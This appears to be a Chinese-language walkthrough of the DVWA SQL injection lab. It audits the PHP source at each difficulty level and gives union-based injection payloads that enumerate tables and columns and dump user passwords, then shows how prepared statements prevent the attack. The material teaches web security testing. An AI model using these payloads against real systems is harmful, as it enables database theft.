DVWA-SQL Injection(SQL注入)
sql注入是典型、常见的Web漏洞之一,现在在网络中也可能存在,不过大多数为SQL盲注
。
攻击者通过恶意的SQL语句来破坏SQL查询语句,达到数据库泄露的目的
LOW
审计源码
<?php
// 判断是否提交
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// 获取传入的 id
$id = $_REQUEST[ 'id' ];
// switch case 语句,类似于if elif else语句
// 判断数据库类型
switch ($_DVWA['SQLI_DB']) {
// mysql数据库
case MYSQL:
// 定义sql语句,在 $id 左右加入了 '' ,代表这是一个字符串类型的注入
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
// 进行数据库查询
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 从结果集中取得一行作为关联数组
while( $row = mysqli_fetch_assoc( $result ) ) {
// 获取 first_name 和 last_name 字段内容
$first = $row["first_name"];
$last = $row["last_name"];
// 打印用户信息
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
// sqlite数据库
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
通过观察,只是判断了服务器的数据库,没有对我们传入的ID进行一些过滤,可以直接进行SQL注入
union 联合查询注入
判断注入类型
使用1
或者1a
来进行判断,如果是数字类型,1a
就会报错
http://172.19.31.9/dvwa/vulnerabilities/sqli/?id=1a&Submit=Submit#
1a
正常执行,可以看出是字符型的,需要我们输入'
进行闭合
构造闭合id=1'#
正常回显
order by 判断字段数
1' order by 1#
正常执行
在输入1' order by 3#
时,进行了报错
那么就是有两个字段数
union select 1,2查看回显字段
1' union select 1,2 #
这里成功回显了我们select 1,2
的值,也显示了上一个注释的语句的输出,可以输入
-1' union select 1,2 #
,-1让前面的语句报错,只显示了后面的查询内容
database()获取当前数据库
-1' union select user(),version()#
回显了当前数据库的用户、数据库版本号
再次使用database()、@@datadir
,获取数据库目录和当前数据库名
-1' union select @@datadir,database()#
得到当前数据库名为dvwa
获取dvwa数据库中的表
-1' union select table_name,2 from information_schema.tables where table_schema=database()#
发现报错,这里是字段列的编码格式不一样,只需要把table_name
用hex()
函数包裹起来,因为mysql
是认识十六进制的
-1' union select hex(table_name),2 from information_schema.tables where table_schema=database()#
在First name
列中,显示了两次的数据,代表有两个数据库,将其中的十六进制解码得到
使用HackBar
解码后得到6775657374626F6F6B
的值为guestbook
,另一个是users
有时候其他的靶场只能回显一段数据,不像现在一样回显两段数据,可以使用group_concat
,将每行的数据使用,
隔开进行显示
-1' union select group_concat(hex(table_name)),2 from information_schema.tables where table_schema=database()#
这样就显示了一段数据
获取users表中的字段名
-1' union select column_name,2 from information_schema.columns where table_schema=database() and table_name=0x7573657273#
查询数据库中字段的名称,where
用筛选到dvwa
数据库中的users
表,database()执行转换为dvwa
,mysql可以读取十六进制,0x7573657273
为users
查询报错
跟上次一样,继续使用hex()
进行转换,这里我也加上了group_concat
函数
-1' union select group_concat(hex(column_name)),2 from information_schema.columns where table_schema=database() and table_name=0x7573657273#
可以看到这里显示了很多字段名,一个一个爆破的到重要的字段名username
和password
查询 username,password字段的内容
-1' union select user,password from users#
成功获取数据库的密码,当然这里也可以使用hex()函数和group_concat()
函数
这样就通过了
Medium
审计源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取传入的 id
$id = $_POST[ 'id' ];
// mysqli_real_escape_string对 \n ' " 等字符进行的转义
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
// 判断数据库类型
switch ($_DVWA['SQLI_DB']) {
// mysql数据库
case MYSQL:
// id 没有价格引号,是一个数字型的sql注入
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// 获取查询中 first_name 和 last_name 字段的内容
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
id变为了POST传参的方式,使用了mysqli_real_escape_string()
函数对id进行了转义,并且做了一个选择,想通过这个来限制用户的输入
使用HackBar
传参id=1a
报错
可以判断这是一个数字行的注入
数字型的sql注入不用进行闭合
order by
查看字段数量
和上一关一样,order by 3 报错,所有有 2 个字段
后续操作和LOW
级别一致,只是不用使用'或者"
进行闭合还有使用#
注释
High
审计源码
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
这里的代码和LOW
可以说是没有太大的区别了,只不过是通过session
获取的ID值
一样的绕过方法1'#
Impossible
审计源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// 获取user_token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获取 id 值
$id = $_GET[ 'id' ];
// 判断 id 传入的是否为数字
if(is_numeric( $id )) {
// 将 id 转换为字符串
$id = intval ($id);
// 判断数据库类型
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// 引入了PDO抽象成技术
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// 获取 first_name 和 last_name 字段
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// 打印字段内容
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
// SQLITE数据库
case SQLITE:
global $sqlite_db_connection;
// 一样的方法
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// 获取 first_name 和 last_name 字段的内容
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// 打印字段内容
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// 生成user_token
generateSessionToken();
?>
这里首先会判断传入的ID是否为数字,然后又将ID转换为了字符串类型,使用PDO方法连接数据库,然我们没机可乘
DVWA-SQL Injection(SQL注入)的更多相关文章
- Fortify Audit Workbench 笔记 SQL Injection SQL注入
SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...
- DVWA全级别之SQL Injection(SQL注入)
DVWA全级别之SQL Injection(注入) DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...
- DVWA之SQL Injection
SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...
- DVWA系列2:SQL Injection
DVWA系列2:SQL Injection 前言 SQL 注入是比较常见的攻击类型,之前一直听说过,也尝试看过一些教程,但其中的单引号,字符串拼接等感觉有点抽象,不知道为什么要这么做.这次就使用 DV ...
- 新手指南:DVWA-1.9全级别教程之SQL Injection
*本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- 使用sqlmap注入DVWA的SQL Injection菜单
1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...
- 【DVWA】SQL Injection(SQL 注入)通关教程
日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...
- DVWA(三):SQL injection 全等级SQL注入
(本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
- DVWA SQL Injection 通关教程
SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...
随机推荐
- ESP8266_RTOS_SDK更新子模块出错git remote: [session-f0448081] 404 not found!
报错:git remote: [session-f0448081] 404 not found! 在.git文件夹中的config文件中找到子模块的地址,用浏览器打开发现确实没有对应的子模块仓库,这个 ...
- Linux网络第三章:DNS服务器原理及搭建
目录 一.DNS服务器原理 1.什么是DNS 2.DNS服务器查询过程 二.主备DNS服务器搭建 1.搭建环境 2.检查安装DNS服务 3.修改主服务器配置文件 4.修改备服务器配置文件 5.启动服务 ...
- 使用excel生成多条sql语句
前提: excel 表里有2列数据,现在要每一列 生成一个sql 语句,应用自定义字符 在第三行单元格里面写入:="zdy"&A2&"zdy"& ...
- Pytest Fixture(二)
作用域 固件的作用是为了抽离出重复的工作和方便复用,为了更精细化控制固件(比如只想对数据库访问测试脚本使用自动连接关闭的固件),pytest 使用作用域来进行指定固件的使用范围. 在定义固件时,通过 ...
- 记录一次echarts 中bar 定时跳跃并显示内容
查看echarts api ----- https://www.echartsjs.com/zh/api.html#echarts 搜索 1.dispatchAction 执行的关键 2.hi ...
- css3 旋转 八仙桌
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- 侠客行+越女剑 <随笔>
侠客行:自己提炼剧情是一个很费时费劲的事情,好在剽窃百度百科不算抄袭,而且也足够还原,红字为补充 一向平静祥和的小市镇侯监集上,忽然来了二百多名杀人不眨眼的强盗.镇上乡亲们都熟悉的卖饼老者王老汉,却被 ...
- 20192305 王梓全Python程序设计实验四报告
20192305 王梓全Python程序设计实验四报告 课程:<Python程序设计> 班级: 1923 姓名: 王梓全 学号:20192305 实验教师:王志强 实验日期:2021年6月 ...
- 48. Rotate Image via java
need to use scratch to find the pattern class Solution { public void rotate(int[][] matrix) { int n= ...
- python基础篇 26-redis操作
redis的基本操作: redis_conf ={ 'host':'192.168.64.128', 'password':'Aa123456', 'db':'0', 'port':6379, 'de ...